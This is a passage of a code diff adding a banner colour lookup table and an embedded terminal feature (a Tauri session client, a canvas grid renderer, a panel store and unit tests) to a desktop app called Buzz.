+ * only `(layer, t, column, row)` is per-CELL. Passing the frame-constant half
+ * per cell is how this function grew to seven positional arguments and started
+ * breaking its own call sites on every signature change. Closing over them also
+ * keeps the per-cell path allocation-free, which a coordinates object would not.
+ *
+ * Bevels return the ramp midpoint — they are not part of either wave, and
+ * returning `t` here instead would tie the chassis to the field's motion.
+ */
+export function makeCellHue(
+  columns: number,
+  rows: number,
+  phase: { field: number; wordmark: number },
+  waves: BannerWaves = DEFAULT_WAVES,
+): (layer: Layer, t: number, column: number, row: number) => number {
+  return (layer, t, column, row) => {
+    if (layer === "field")
+      return fieldHue(waves.field, column, row, columns, rows, phase.field);
+    if (layer === "head") return wordmarkHue(waves.wordmark, t, phase.wordmark);
+    return 0;
+  };
+}
+
+/** Phase pair at a wall-clock time, in seconds. */
+export function phaseAt(seconds: number): { field: number; wordmark: number } {
+  return {
+    field: wrap01(seconds / FIELD_WAVE.seconds),
+    wordmark: wrap01(seconds / WORDMARK_WAVE.seconds),
+  };
+}
+
+/**
+ * Phase-INDEPENDENT colour table. This is what makes the animation affordable.
+ *
+ * Measured on this box, buzz-dark, median of 7: calling `bannerColor` per cell
+ * costs 42.7ms for a 112x46 banner (256% of a 60Hz frame) and 203ms at 228x90
+ * (1218%). Per-cell-per-frame is not a micro-optimisation problem, it is dead
+ * on arrival by 2.6-12x. The cost is concentrated: the field's `atRatio` pin is
+ * ~23us/cell against ~0.9us for the wordmark's `lift` path.
+ *
+ * The table is keyed on SAMPLED (layer, hue, contrast) and nothing else, so it
+ * does not depend on phase or on time and fills exactly once per palette.
+ * Steady-state frames are a lookup and one lerp.
+ */
+export type BannerColorTable = Readonly<{
+  head: readonly string[];
+  field: readonly (readonly string[])[];
+  bevelHi: string;
+  bevelLo: string;
+  lookup: (layer: Layer, t: number, hue: number) => string;
+}>;
+
+export function buildBannerColorTable(
+  palette: TerminalPalette,
+): BannerColorTable {
+  const { stops } = bannerStops(palette);
+  const centre = (index: number, buckets: number) => (index + 0.5) / buckets;
+
+  const head = Array.from({ length: HUE_BUCKETS }, (_, h) =>
+    bannerColor(palette, stops, "head", 0, centre(h, HUE_BUCKETS)),
+  );
+  const field = Array.from({ length: CONTRAST_BUCKETS }, (_, c) =>
+    Array.from({ length: HUE_BUCKETS }, (_, h) =>
+      bannerColor(
+        palette,
+        stops,
+        "field",
+        centre(c, CONTRAST_BUCKETS),
+        centre(h, HUE_BUCKETS),
+      ),
+    ),
+  );
+  const bevelHi = bannerColor(palette, stops, "bevel_hi", 0);
+  const bevelLo = bannerColor(palette, stops, "bevel_lo", 0);
+
+  // NUMERIC MIRRORS of the tables, parsed once at build time. The lookup path is
+  // per-cell-per-frame, and `mix()` re-parses its arguments from hex on every
+  // call — worse, `hex2rgb(b)` sits INSIDE its per-channel map, so it parses `b`
+  // four times. A bilinear field lookup is three nested mixes, so a single cell
+  // cost ~12 string parses plus 3 hex formats. Measured before this change:
+  // 13.6ms/frame of pure lookup at 228x90 (80% of the animated frame, 101.6% of a
+  // 60Hz budget). Parsing once here makes the steady-state path arithmetic.
+  const headRgb = head.map(hex2rgb);
+  const fieldRgb = field.map((row) => row.map(hex2rgb));
+
+  // Quantization is LOAD-BEARING, not incidental. `rgb2hex` rounds and clamps
+  // each channel to an integer, so the old nested-`mix` path quantized its
+  // INTERMEDIATE blend before the outer blend consumed it. Skipping that would
+  // change output bytes — and the WCAG floor and dE00 certificates were measured
+  // against the old bytes. So this reproduces `rgb2hex`'s rounding exactly at the
+  // same point the old path applied it, and byte equality is verified by an
+  // oracle over 20.4M lookups x 62 themes rather than assumed.
+  const quantize = (value: number) =>
+    Math.max(0, Math.min(255, Math.round(value)));
+  const mixRgb = (a: readonly number[], b: readonly number[], u: number) => [
+    quantize(a[0] + (b[0] - a[0]) * u),
+    quantize(a[1] + (b[1] - a[1]) * u),
+    quantize(a[2] + (b[2] - a[2]) * u),
+  ];
+  // Same short-circuits as the string `blend` it replaces: at the ends, return
+  // the endpoint untouched rather than round-tripping it.
+  const blendRgb = (a: readonly number[], b: readonly number[], u: number) =>
+    u <= 0 ? a : u >= 1 ? b : mixRgb(a, b, u);
+
+  const sampleHead = (hue: number) => {
+    const position = axisPosition(hue, HUE_BUCKETS);
+    const low = Math.floor(position);
+    const blended = rgb2hex(
+      blendRgb(
+        headRgb[low],
+        headRgb[Math.min(HUE_BUCKETS - 1, low + 1)],
+        position - low,
+      ),
+    );
+    // RE-LIFT. The endpoints are solved to sit exactly ON the 4.5 floor, and
+    // contrast is convex in the blend parameter, so the chord between two
+    // on-floor samples passes UNDER it — measured 4.4766 on solarized-light at
+    // hue 0.2188 with 128 buckets. Small, but 4.4766 < 4.5 is a WCAG failure on
+    // shipped pixels, and raising the bucket count only shrinks the dip
+    // asymptotically without ever removing it. Lifting the blend is exact.
+    // `lift` is a no-op when the blend already clears the floor, which is the
+    // overwhelming majority of lookups.
+    return lift(blended, palette.background, WORDMARK_FLOOR);
+  };
+
+  return {
+    head,
+    field,
+    bevelHi,
+    bevelLo,
+    // Bilinear on (contrast, hue) for the field, linear on hue for the
+    // wordmark. This is what makes the output continuous in hue, so bucket
+    // count is a fidelity knob rather than the thing standing between the
+    // gradient and visible banding.
+    lookup: (layer, t, hue) => {
+      switch (layer) {
+        case "head":
+          return sampleHead(hue);
+        case "field": {
+          const contrastPosition = axisPosition(t, CONTRAST_BUCKETS);
+          const contrastLow = Math.floor(contrastPosition);
+          const huePosition = axisPosition(hue, HUE_BUCKETS);
+          const hueLow = Math.floor(huePosition);
+          const hueHigh = Math.min(HUE_BUCKETS - 1, hueLow + 1);
+          const hueFraction = huePosition - hueLow;
+          const near = fieldRgb[contrastLow];
+          const far = fieldRgb[Math.min(CONTRAST_BUCKETS - 1, contrastLow + 1)];
+          return rgb2hex(
+            blendRgb(
+              blendRgb(near[hueLow], near[hueHigh], hueFraction),
+              blendRgb(far[hueLow], far[hueHigh], hueFraction),
+              contrastPosition - contrastLow,
+            ),
+          );
+        }
+        case "bevel_hi":
+          return bevelHi;
+        case "bevel_lo":
+          return bevelLo;
+      }
+    },
+  };
+}
diff --git a/desktop/src/features/terminal/terminalClient.test.mjs b/desktop/src/features/terminal/terminalClient.test.mjs
new file mode 100644
index 0000000000..1d6298102a
--- /dev/null
+++ b/desktop/src/features/terminal/terminalClient.test.mjs
@@ -0,0 +1,114 @@
+import assert from "node:assert/strict";
+import { afterEach, test } from "node:test";
+
+const callbacks = new Map();
+const calls = [];
+let nextCallback = 1;
+let attachDuringInvoke;
+
+globalThis.isTauri = true;
+globalThis.window = {
+  __TAURI_INTERNALS__: {
+    invoke(command, args) {
+      calls.push({ command, args });
+      if (command === "terminal_attach") attachDuringInvoke?.(args);
+      return Promise.resolve(
+        command === "terminal_attach"
+          ? {
+              sessionId: "session-1",
+              subscriptionId: "subscription-1",
+              viewport: { columns: 80, generation: 0, screenLines: 24 },
+            }
+          : undefined,
+      );
+    },
+    transformCallback(callback) {
+      const id = nextCallback++;
+      callbacks.set(id, callback);
+      return id;
+    },
+    unregisterCallback(id) {
+      callbacks.delete(id);
+    },
+  },
+  isTauri: true,
+};
+
+const { TerminalConnection } = await import("./terminalClient.ts");
+
+function emit(channel, message, index = 0) {
+  const id = Number(channel.toJSON().slice("__CHANNEL__:".length));
+  callbacks.get(id)({ index, message });
+}
+
+const request = {
+  channelId: "channel-1",
+  channelName: "general",
+  npub: "npub1test",
+  relayUrl: "wss://relay.example",
+  columns: 80,
+  rows: 24,
+  pixelWidth: 800,
+  pixelHeight: 408,
+};
+
+const frame = {
+  type: "frame",
+  payload: {
+    subscriptionId: "subscription-1",
+    sequence: 7,
+    rows: [],
+    cursor: { column: 0, line: 0, visible: true },
+    full: true,
+    viewport: { columns: 80, generation: 0, screenLines: 24 },
+    bracketedPaste: true,
+    focusReporting: true,
+  },
+};
+
+afterEach(() => {
+  calls.length = 0;
+  attachDuringInvoke = undefined;
+});
+
+test("attach retains a bootstrap frame delivered before invoke resolves", async () => {
+  const deliveries = [];
+  attachDuringInvoke = ({ onFrame }) => emit(onFrame, frame);
+  const connection = await TerminalConnection.attach(
+    request,
+    () => {},
+    (delivery) => deliveries.push(delivery),
+  );
+
+  assert.equal(connection.sessionId, "session-1");
+  assert.equal(deliveries.length, 1);
+  assert.equal(deliveries[0].frame.sequence, 7);
+  await deliveries[0].acknowledge();
+  assert.deepEqual(calls.at(-1), {
+    command: "terminal_ack",
+    args: {
+      sessionId: "session-1",
+      subscriptionId: "subscription-1",
+      sequence: 7,
+    },
+  });
+});
+
+test("stale subscription frames are ignored", async () => {
+  const deliveries = [];
+  let channel;
+  attachDuringInvoke = ({ onFrame }) => {
+    channel = onFrame;
+  };
+  await TerminalConnection.attach(
+    request,
+    () => {},
+    (value) => deliveries.push(value),
+  );
+  emit(
+    channel,
+    { ...frame, payload: { ...frame.payload, subscriptionId: "stale" } },
+    0,
+  );
+  assert.deepEqual(deliveries, []);
+});
diff --git a/desktop/src/features/terminal/terminalClient.ts b/desktop/src/features/terminal/terminalClient.ts
new file mode 100644
index 0000000000..de51f59653
--- /dev/null
+++ b/desktop/src/features/terminal/terminalClient.ts
@@ -0,0 +1,153 @@
+import { Channel, invoke, isTauri } from "@tauri-apps/api/core";
+
+import type { TerminalFrame } from "./terminalRenderer";
+
+export type TerminalAttachRequest = {
+  sessionId?: string;
+  channelId: string;
+  channelName: string;
+  threadId?: string;
+  npub: string;
+  relayUrl: string;
+  columns: number;
+  rows: number;
+  pixelWidth: number;
+  pixelHeight: number;
+};
+
+export type TerminalViewport = TerminalFrame["viewport"];
+
+export type TerminalFrameMessage = TerminalFrame & {
+  subscriptionId: string;
+  sequence: number;
+  bracketedPaste: boolean;
+  focusReporting: boolean;
+};
+
+export type TerminalMessage =
+  | { type: "frame"; payload: TerminalFrameMessage }
+  | { type: "title"; payload: string }
+  | { type: "resetTitle"; payload?: never }
+  | { type: "bell"; payload?: never }
+  | { type: "exit"; payload?: never };
+
+type AttachResponse = {
+  sessionId: string;
+  subscriptionId: string;
+  viewport: TerminalViewport;
+};
+
+export type TerminalDelivery = {
+  frame: TerminalFrameMessage;
+  acknowledge: () => Promise<void>;
+};
+
+export class TerminalConnection {
+  readonly sessionId: string;
+  readonly subscriptionId: string;
+  readonly viewport: TerminalViewport;
+
+  private constructor(response: AttachResponse) {
+    this.sessionId = response.sessionId;
+    this.subscriptionId = response.subscriptionId;
+    this.viewport = response.viewport;
+  }
+
+  static async attach(
+    request: TerminalAttachRequest,
+    onMessage: (message: Exclude<TerminalMessage, { type: "frame" }>) => void,
+    onFrame: (delivery: TerminalDelivery) => void,
+  ): Promise<TerminalConnection> {
+    if (!isTauri()) throw new Error("terminal sessions require Buzz Desktop");
+
+    let connection: TerminalConnection | null = null;
+    const pending: TerminalMessage[] = [];
+    const deliver = (message: TerminalMessage) => {
+      if (!connection) {
+        pending.push(message);
+        return;
+      }
+      if (message.type !== "frame") {
+        onMessage(message);
+        return;
+      }
+      const frame = message.payload;
+      if (frame.subscriptionId !== connection.subscriptionId) return;
+      onFrame({
+        frame,
+        acknowledge: () =>
+          connection?.acknowledge(frame.sequence) ?? Promise.resolve(),
+      });
+    };
+    const channel = new Channel<TerminalMessage>(deliver);
+    const response = await invoke<AttachResponse>("terminal_attach", {
+      request,
+      onFrame: channel,
+    });
+    connection = new TerminalConnection(response);
+    for (const message of pending) deliver(message);
+    return connection;
+  }
+
+  input(data: string): Promise<void> {
+    return invoke("terminal_input", { sessionId: this.sessionId, data });
+  }
+
+  async resize(
+    columns: number,
+    rows: number,
+    pixelWidth: number,
+    pixelHeight: number,
+  ): Promise<TerminalViewport> {
+    return invoke("terminal_resize", {
+      sessionId: this.sessionId,
+      columns,
+      rows,
+      pixelWidth,
+      pixelHeight,
+    });
+  }
+
+  viewportReady(viewport: TerminalViewport): Promise<void> {
+    return invoke("terminal_viewport_ready", {
+      sessionId: this.sessionId,
+      subscriptionId: this.subscriptionId,
+      viewport,
+    });
+  }
+
+  /**
+   * Scroll the viewport by whole cells.
+   *
+   * `lines` keeps the DOM's sign: negative is the direction that scrolls a
+   * page toward the top of the document. The backend owns the conversion to
+   * the engine's opposite convention, so this layer carries no policy about
+   * which way history is.
+   */
+  scroll(lines: number): Promise<void> {
+    return invoke("terminal_scroll", { sessionId: this.sessionId, lines });
+  }
+
+  focus(focused: boolean): Promise<void> {
+    return invoke("terminal_focus", { sessionId: this.sessionId, focused });
+  }
+
+  detach(): Promise<void> {
+    return invoke("terminal_detach", {
+      sessionId: this.sessionId,
+      subscriptionId: this.subscriptionId,
+    });
+  }
+
+  close(): Promise<void> {
+    return invoke("terminal_close", { sessionId: this.sessionId });
+  }
+
+  private acknowledge(sequence: number): Promise<void> {
+    return invoke("terminal_ack", {
+      sessionId: this.sessionId,
+      subscriptionId: this.subscriptionId,
+      sequence,
+    });
+  }
+}
diff --git a/desktop/src/features/terminal/terminalPanelStore.test.mjs b/desktop/src/features/terminal/terminalPanelStore.test.mjs
new file mode 100644
index 0000000000..8a3020f0cb
--- /dev/null
+++ b/desktop/src/features/terminal/terminalPanelStore.test.mjs
@@ -0,0 +1,33 @@
+import assert from "node:assert/strict";
+import { beforeEach, test } from "node:test";
+
+import {
+  resetTerminalPanelForTests,
+  setTerminalPanelMode,
+  setTerminalSessionChannels,
+  toggleTerminalPanel,
+  getTerminalPanelSnapshotForTests,
+} from "./terminalPanelStore.ts";
+
+beforeEach(resetTerminalPanelForTests);
+
+test("panel toggles between closed and the docked default", () => {
+  toggleTerminalPanel();
+  assert.equal(getTerminalPanelSnapshotForTests().mode, "docked");
+  toggleTerminalPanel();
+  assert.equal(getTerminalPanelSnapshotForTests().mode, "closed");
+  setTerminalPanelMode("maximized");
+  toggleTerminalPanel();
+  assert.equal(getTerminalPanelSnapshotForTests().mode, "closed");
+});
+
+test("session channel identities are de-duplicated", () => {
+  setTerminalSessionChannels(["one", "one", "two"]);
+  // Regression guard: accepting an iterable (rather than Session objects) keeps
+  // this store UI-only and prevents mutable PTYs from leaking into header state.
+  setTerminalSessionChannels(new Set(["one", "two"]));
+  assert.deepEqual(
+    [...getTerminalPanelSnapshotForTests().sessionChannelIds],
+    ["one", "two"],
+  );
+});
diff --git a/desktop/src/features/terminal/terminalPanelStore.ts b/desktop/src/features/terminal/terminalPanelStore.ts
new file mode 100644
index 0000000000..3c8fa778a7
--- /dev/null
+++ b/desktop/src/features/terminal/terminalPanelStore.ts
@@ -0,0 +1,53 @@
+import * as React from "react";
+
+export type TerminalPanelMode = "closed" | "docked" | "maximized";
+
+type Snapshot = {
+  mode: TerminalPanelMode;
+  sessionChannelIds: ReadonlySet<string>;
+};
+
+let snapshot: Snapshot = { mode: "closed", sessionChannelIds: new Set() };
+const listeners = new Set<() => void>();
+
+function publish(next: Snapshot) {
+  snapshot = next;
+  for (const listener of listeners) listener();
+}
+
+export function setTerminalPanelMode(mode: TerminalPanelMode) {
+  if (snapshot.mode === mode) return;
+  publish({ ...snapshot, mode });
+}
+
+export function toggleTerminalPanel() {
+  setTerminalPanelMode(snapshot.mode === "closed" ? "docked" : "closed");
+}
+
+export function setTerminalSessionChannels(channelIds: Iterable<string>) {
+  const next = new Set(channelIds);
+  if (
+    next.size === snapshot.sessionChannelIds.size &&
+    [...next].every((id) => snapshot.sessionChannelIds.has(id))
+  )
+    return;
+  publish({ ...snapshot, sessionChannelIds: next });
+}
+
+export function useTerminalPanel() {
+  return React.useSyncExternalStore(
+    (listener) => {
+      listeners.add(listener);
+      return () => listeners.delete(listener);
+    },
+    () => snapshot,
+  );
+}
+
+export function resetTerminalPanelForTests() {
+  snapshot = { mode: "closed", sessionChannelIds: new Set() };
+}
+
+export function getTerminalPanelSnapshotForTests() {
+  return snapshot;
+}
diff --git a/desktop/src/features/terminal/terminalRenderer.test.mjs b/desktop/src/features/terminal/terminalRenderer.test.mjs
new file mode 100644
index 0000000000..e718310f5a
--- /dev/null
+++ b/desktop/src/features/terminal/terminalRenderer.test.mjs
@@ -0,0 +1,167 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import { TerminalGrid } from "./terminalRenderer.ts";
+
+const palette = {
+  background: "#000000",
+  foreground: "#ffffff",
+  cursor: "#ffffff",
+  cursorText: "#000000",
+  ansi: Object.fromEntries(
+    [
+      "black",
+      "red",
+      "green",
+      "yellow",
+      "blue",
+      "magenta",
+      "cyan",
+      "white",
+      "brightBlack",
+      "brightRed",
+      "brightGreen",
+      "brightYellow",
+      "brightBlue",
+      "brightMagenta",
+      "brightCyan",
+      "brightWhite",
+    ].map((name, index) => [name, `#${index.toString(16).padStart(6, "0")}`]),
+  ),
+};
+
+function context() {
+  const text = [];
+  const fills = [];
+  return {
+    text,
+    fills,
+    fillStyle: "",
+    font: "",
+    textBaseline: "alphabetic",
+    save() {},
+    restore() {},
+    fillRect(...args) {
+      fills.push(args);
+    },
+    fillText(...args) {
+      text.push(args);
+    },
+  };
+}
+
+const metrics = {
+  width: 10,
+  height: 20,
+  baseline: 15,
+  font: "normal",
+  boldFont: "bold",
+};
+
+test("clusters draw at computed columns, never accumulated text width", () => {
+  const grid = new TerminalGrid({ generation: 0, columns: 12, screenLines: 1 });
+  assert.equal(
+    grid.apply({
+      viewport: grid.viewport,
+      full: true,
+      cursor: { line: 0, column: 0, visible: false },
+      rows: [
+        {
+          line: 0,
+          spans: [
+            {
+              style: { fg: 0x01000007, bg: 0x01000101, flags: 0 },
+              clusters: [
+                { column: 0, text: "a", width: 1 },
+                { column: 1, text: "😀", width: 2 },
+                { column: 3, text: "b", width: 1 },
+                { column: 4, text: "一", width: 2 },
+                { column: 6, text: "c", width: 1 },
+              ],
+            },
+          ],
+        },
+      ],
+    }),
+    true,
+  );
+  const ctx = context();
+  grid.paint(ctx, metrics, palette);
+  assert.deepEqual(
+    ctx.text.map((call) => [call[0], call[1]]),
+    [
+      ["a", 0],
+      ["😀", 10],
+      ["b", 30],
+      ["一", 40],
+      ["c", 60],
+    ],
+  );
+});
+
+test("combining marks stay in one cluster and consume one cell", () => {
+  const grid = new TerminalGrid({ generation: 2, columns: 4, screenLines: 1 });
+  grid.apply({
+    viewport: grid.viewport,
+    full: false,
+    cursor: { line: 0, column: 0, visible: false },
+    rows: [
+      {
+        line: 0,
+        spans: [
+          {
+            style: { fg: 0x01000007, bg: 0x01000101, flags: 0 },
+            clusters: [{ column: 2, text: "é", width: 1 }],
+          },
+        ],
+      },
+    ],
+  });
+  const ctx = context();
+  grid.paint(ctx, metrics, palette);
+  assert.deepEqual(ctx.text[0], ["é", 20, 15]);
+});
+
+test("stale viewport frames are rejected without mutating retained rows", () => {
+  const grid = new TerminalGrid({ generation: 4, columns: 4, screenLines: 1 });
+  assert.equal(
+    grid.apply({
+      viewport: { generation: 3, columns: 4, screenLines: 1 },
+      full: true,
+      cursor: { line: 0, column: 0, visible: false },
+      rows: [],
+    }),
+    false,
+  );
+});
+
+test("cursor visibility can blink without a new terminal frame", () => {
+  const grid = new TerminalGrid({ generation: 0, columns: 4, screenLines: 1 });
+  grid.apply({
+    viewport: grid.viewport,
+    full: true,
+    cursor: { line: 0, column: 2, visible: true },
+    rows: [],
+  });
+
+  const visible = context();
+  grid.paint(visible, metrics, palette);
+  assert.ok(visible.fills.some((fill) => fill[0] === 20 && fill[2] === 1.2));
+
+  grid.setCursorPainted(false);
+  const hidden = context();
+  grid.paint(hidden, metrics, palette);
+  assert.equal(
+    hidden.fills.some((fill) => fill[0] === 20 && fill[2] === 1.2),
+    false,
+  );
+  assert.ok(
+    hidden.fills.some((fill) => fill[0] === 0 && fill[2] === 40),
+    "hiding the cursor must repaint its row to erase the old caret",
+  );
+
+  grid.setCursorPainted(true);
+  const restored = context();
+  grid.paint(restored, metrics, palette);
+  assert.ok(restored.fills.some((fill) => fill[0] === 20 && fill[2] === 1.2));
+});
diff --git a/desktop/src/features/terminal/terminalRenderer.ts b/desktop/src/features/terminal/terminalRenderer.ts
new file mode 100644
index 0000000000..085679408a
--- /dev/null
+++ b/desktop/src/features/terminal/terminalRenderer.ts
@@ -0,0 +1,233 @@
+import {
+  ANSI_COLOR_NAMES,
+  type AnsiColorName,
+  type TerminalPalette,
+} from "@/shared/theme/terminal-palette";
+
+export type TerminalViewport = {
+  generation: number;
+  columns: number;
+  screenLines: number;
+};
+
+export type TerminalStyle = { fg: number; bg: number; flags: number };
+
+export type TerminalCluster = {
+  column: number;
+  text: string;
+  width: 1 | 2;
+};
+
+export type TerminalSpan = {
+  style: TerminalStyle;
+  clusters: readonly TerminalCluster[];
+};
+
+export type TerminalRow = { line: number; spans: readonly TerminalSpan[] };
+export type TerminalCursor = {
+  line: number;
+  column: number;
+  visible: boolean;
+};
+export type TerminalFrame = {
+  viewport: TerminalViewport;
+  rows: readonly TerminalRow[];
+  cursor: TerminalCursor;
+  full: boolean;
+};
+
+export type CellMetrics = {
+  width: number;
+  height: number;
+  baseline: number;
+  font: string;
+  boldFont: string;
+};
+
+export const TERMINAL_CELL_METRICS = {
+  width: 8.4,
+  height: 17,
+  baseline: 13,
+  font: '14px "JetBrains Mono", monospace',
+  boldFont: '700 14px "JetBrains Mono", monospace',
+} as const satisfies CellMetrics;
+
+type RetainedRow = readonly TerminalSpan[];
+
+export type PaintContext = Pick<
+  CanvasRenderingContext2D,
+  | "fillStyle"
+  | "font"
+  | "textBaseline"
+  | "fillRect"
+  | "fillText"
+  | "save"
+  | "restore"
+>;
+
+const COLOR_KIND = 0xff00_0000;
+const COLOR_VALUE = 0x00ff_ffff;
+const NAMED = 0x0100_0000;
+const INDEXED = 0x0200_0000;
+const RGB = 0x0300_0000;
+const BOLD = 1 << 0;
+
+function xtermIndexed(index: number, palette: TerminalPalette): string {
+  if (index < 16) return palette.ansi[ANSI_COLOR_NAMES[index]];
+  if (index < 232) {
+    const offset = index - 16;
+    const levels = [0, 95, 135, 175, 215, 255];
+    const r = levels[Math.floor(offset / 36)];
+    const g = levels[Math.floor((offset % 36) / 6)];
+    const b = levels[offset % 6];
+    return `rgb(${r} ${g} ${b})`;
+  }
+  const gray = 8 + (index - 232) * 10;
+  return `rgb(${gray} ${gray} ${gray})`;
+}
+
+export function resolvePackedColor(
+  packed: number,
+  palette: TerminalPalette,
+  fallback: "foreground" | "background",
+): string {
+  const kind = packed & COLOR_KIND;
+  const value = packed & COLOR_VALUE;
+  if (kind === RGB) {
+    return `#${value.toString(16).padStart(6, "0")}`;
+  }
+  if (kind === INDEXED) return xtermIndexed(value & 0xff, palette);
+  if (kind === NAMED) {
+    if (value < 16) return palette.ansi[ANSI_COLOR_NAMES[value]];
+    if (value === 256 || value === 272) return palette.foreground;
+    if (value === 257) return palette.background;
+    if (value === 258) return palette.cursor;
+    if (value >= 259 && value <= 266) {
+      return palette.ansi[ANSI_COLOR_NAMES[value - 259] as AnsiColorName];
+    }
+    if (value === 271) return palette.ansi.brightWhite;
+  }
+  return palette[fallback];
+}
+
+/** Retained terminal grid. Applying a frame only dirties rows it names. */
+export class TerminalGrid {
+  #viewport: TerminalViewport;
+  #rows: RetainedRow[];
+  #dirty = new Set<number>();
+  #cursor: TerminalCursor = { line: 0, column: 0, visible: false };
+  #cursorPainted = true;
+
+  constructor(viewport: TerminalViewport) {
+    this.#viewport = viewport;
+    this.#rows = Array.from({ length: viewport.screenLines }, () => []);
+    this.markAllDirty();
+  }
+
+  get viewport(): TerminalViewport {
+    return this.#viewport;
+  }
+
+  apply(frame: TerminalFrame): boolean {
+    if (
+      frame.viewport.generation !== this.#viewport.generation ||
+      frame.viewport.columns !== this.#viewport.columns ||
+      frame.viewport.screenLines !== this.#viewport.screenLines
+    ) {
+      return false;
+    }
+    if (frame.full) this.markAllDirty();
+    this.#dirty.add(this.#cursor.line);
+    this.#cursor = frame.cursor;
+    this.#dirty.add(this.#cursor.line);
+    for (const row of frame.rows) {
+      if (row.line < this.#rows.length) {
+        this.#rows[row.line] = row.spans;
+        this.#dirty.add(row.line);
+      }
+    }
+    return true;
+  }
+
+  resize(viewport: TerminalViewport): void {
+    this.#viewport = viewport;
+    this.#rows = Array.from({ length: viewport.screenLines }, () => []);
+    this.#cursor = { line: 0, column: 0, visible: false };
+    this.markAllDirty();
+  }
+
+  markAllDirty(): void {
+    for (let line = 0; line < this.#viewport.screenLines; line++) {
+      this.#dirty.add(line);
+    }
+  }
+
+  setCursorPainted(painted: boolean): void {
+    if (this.#cursorPainted === painted) return;
+    this.#cursorPainted = painted;
+    this.#dirty.add(this.#cursor.line);
+  }
+
+  paint(
+    context: PaintContext,
+    metrics: CellMetrics,
+    palette: TerminalPalette,
+  ): number {
+    const started = performance.now();
+    context.save();
+    context.textBaseline = "alphabetic";
+    const dirty = [...this.#dirty].sort((a, b) => a - b);
+    for (const line of dirty) {
+      const y = line * metrics.height;
+      context.fillStyle = palette.background;
+      context.fillRect(
+        0,
+        y,
+        this.#viewport.columns * metrics.width,
+        metrics.height,
+      );
+      for (const span of this.#rows[line] ?? []) {
+        const background = resolvePackedColor(
+          span.style.bg,
+          palette,
+          "background",
+        );
+        context.fillStyle = background;
+        for (const cluster of span.clusters) {
+          context.fillRect(
+            cluster.column * metrics.width,
+            y,
+            cluster.width * metrics.width,
+            metrics.height,
+          );
+        }
+        context.fillStyle = resolvePackedColor(
+          span.style.fg,
+          palette,
+          "foreground",
+        );
+        context.font =
+          span.style.flags & BOLD ? metrics.boldFont : metrics.font;
+        for (const cluster of span.clusters) {
+          context.fillText(
+            cluster.text,
+            cluster.column * metrics.width,
+            y + metrics.baseline,
+          );
+        }
+      }
+    }
+    if (this.#cursor.visible && this.#cursorPainted) {
+      context.fillStyle = palette.cursor;
+      context.fillRect(
+        this.#cursor.column * metrics.width,
+        this.#cursor.line * metrics.height,
+        Math.max(1, metrics.width * 0.12),
+        metrics.height,
+      );
+    }
+    context.restore();
+    this.#dirty.clear();
+    return performance.now() - started;
+  }
+}
diff --git a/desktop/src/features/terminal/terminalState.test.mjs b/desktop/src/features/terminal/terminalState.test.mjs
new file mode 100644
index 0000000000..dded3e5128
--- /dev/null
+++ b/desktop/src/features/terminal/terminalState.test.mjs
@@ -0,0 +1,215 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import {
+  INITIAL_HANDOFF_STATE,
+  accumulateScrollLines,
+  encodePaste,
+  encodeTerminalKey,
+  matchTabChord,
+  reduceHandoff,
+  stepSession,
+} from "./terminalState.ts";
+
+test("ownership changes on completed chord, never key-down or repeat", () => {
+  const down = reduceHandoff(INITIAL_HANDOFF_STATE, {
+    type: "chord-down",
+    repeat: false,
+  });
+  assert.equal(down.state.owner, "buzz");
+  assert.equal(down.toggled, false);
+  assert.equal(
+    reduceHandoff(down.state, { type: "chord-up" }).state.owner,
+    "terminal",
+  );
+  assert.deepEqual(
+    reduceHandoff(INITIAL_HANDOFF_STATE, {
+      type: "chord-down",
+      repeat: true,
+    }),
+    { state: INITIAL_HANDOFF_STATE, toggled: false },
+  );
+});
+
+test("composition and focus loss cancel an armed chord", () => {
+  const armed = reduceHandoff(INITIAL_HANDOFF_STATE, {
+    type: "chord-down",
+    repeat: false,
+  }).state;
+  const composing = reduceHandoff(armed, { type: "composition-start" }).state;
+  assert.equal(reduceHandoff(composing, { type: "chord-up" }).toggled, false);
+  const blurred = reduceHandoff(armed, { type: "focus-lost" }).state;
+  assert.equal(reduceHandoff(blurred, { type: "chord-up" }).toggled, false);
+});
+
+test("terminal key encoding covers control, navigation, and alt prefixes", () => {
+  assert.equal(
+    encodeTerminalKey({
+      key: "c",
+      ctrlKey: true,
+      altKey: false,
+      metaKey: false,
+    }),
+    "\u0003",
+  );
+  assert.equal(
+    encodeTerminalKey({
+      key: "ArrowUp",
+      ctrlKey: false,
+      altKey: false,
+      metaKey: false,
+    }),
+    "\u001b[A",
+  );
+  assert.equal(
+    encodeTerminalKey({
+      key: "x",
+      ctrlKey: false,
+      altKey: true,
+      metaKey: false,
+    }),
+    "\u001bx",
+  );
+  assert.equal(
+    encodeTerminalKey({
+      key: "x",
+      ctrlKey: false,
+      altKey: false,
+      metaKey: true,
+    }),
+    null,
+  );
+});
+
+test("bracketed paste wraps the entire payload exactly once", () => {
+  assert.equal(encodePaste("a\nb", false), "a\nb");
+  assert.equal(encodePaste("a\nb", true), "\u001b[200~a\nb\u001b[201~");
+});
+
+test("pixel scrolling retains fractional lines in both directions", () => {
+  const state = { remainderPx: 0 };
+  let result = accumulateScrollLines(state, 3, 10);
+  assert.equal(result.lines, 0);
+  result = accumulateScrollLines(result.state, 8, 10);
+  assert.equal(result.lines, 1);
+  assert.equal(result.state.remainderPx, 1);
+  result = accumulateScrollLines(result.state, -12, 10);
+  assert.equal(result.lines, -1);
+  assert.equal(result.state.remainderPx, -1);
+});
+
+function chord(overrides) {
+  return {
+    altKey: false,
+    code: "KeyT",
+    ctrlKey: false,
+    metaKey: false,
+    shiftKey: false,
+    ...overrides,
+  };
+}
+
+test("tab chords match the platform's primary modifier only", () => {
+  assert.equal(matchTabChord(chord({ metaKey: true }), true), "new");
+  assert.equal(
+    matchTabChord(chord({ code: "KeyW", metaKey: true }), true),
+    "close",
+  );
+  assert.equal(
+    matchTabChord(
+      chord({ code: "ArrowLeft", metaKey: true, shiftKey: true }),
+      true,
+    ),
+    "previous",
+  );
+  assert.equal(
+    matchTabChord(
+      chord({ code: "ArrowRight", metaKey: true, shiftKey: true }),
+      true,
+    ),
+    "next",
+  );
+
+  // The whole reason the matcher takes `isMac`: on macOS ^W is werase and ^T
+  // transposes. Claiming them here would swallow them before the textarea
+  // could encode them for the PTY.
+  assert.equal(matchTabChord(chord({ ctrlKey: true }), true), null);
+  assert.equal(
+    matchTabChord(chord({ code: "KeyW", ctrlKey: true }), true),
+    null,
+  );
+  assert.equal(
